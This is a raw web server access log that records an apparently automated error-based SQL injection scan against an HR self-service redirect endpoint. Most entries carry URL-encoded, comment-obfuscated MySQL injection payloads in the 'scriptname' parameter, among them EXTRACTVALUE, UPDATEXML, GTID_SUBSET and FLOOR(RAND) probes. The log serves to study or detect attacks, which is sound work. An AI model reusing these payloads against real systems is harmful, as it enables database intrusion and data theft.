100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x526d6d5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76416962%29%29%2C1%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x526d6d5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76416962%29%29%2C1%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x57645577%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304b5143%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x57645577%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304b5143%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a463646%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75506577%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a463646%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75506577%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4734714c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4174594e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4734714c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4174594e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x724e3777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6c715a%29%29%2C1%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x724e3777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6c715a%29%29%2C1%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44346446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74656343%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44346446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74656343%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75473748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3757306a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75473748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3757306a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a456778%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48586474%29%2C6420%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a456778%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48586474%29%2C6420%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x466f3241%2C%28NULL%29%2C0x64694d79%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e6b78%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d77465a%29%29x%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x67656578%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4e7361%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a394255%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50326746%29%29x%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x57645577%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x304b5143%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x526d6d5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76416962%29%29%2C1%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35637931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31793057%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35637931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31793057%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4734714c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4174594e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x724e3777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6c715a%29%29%2C1%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47666146%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4e4942%29%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47666146%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4e4942%29%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x44346446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74656343%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5a463646%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75506577%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75473748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3757306a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a456778%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48586474%29%2C6420%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566b6777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6a6353%29%2C5431%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566b6777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6a6353%29%2C5431%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x47717131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59644866%29%2C5431%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x47717131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59644866%29%2C5431%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x75547761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54373866%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
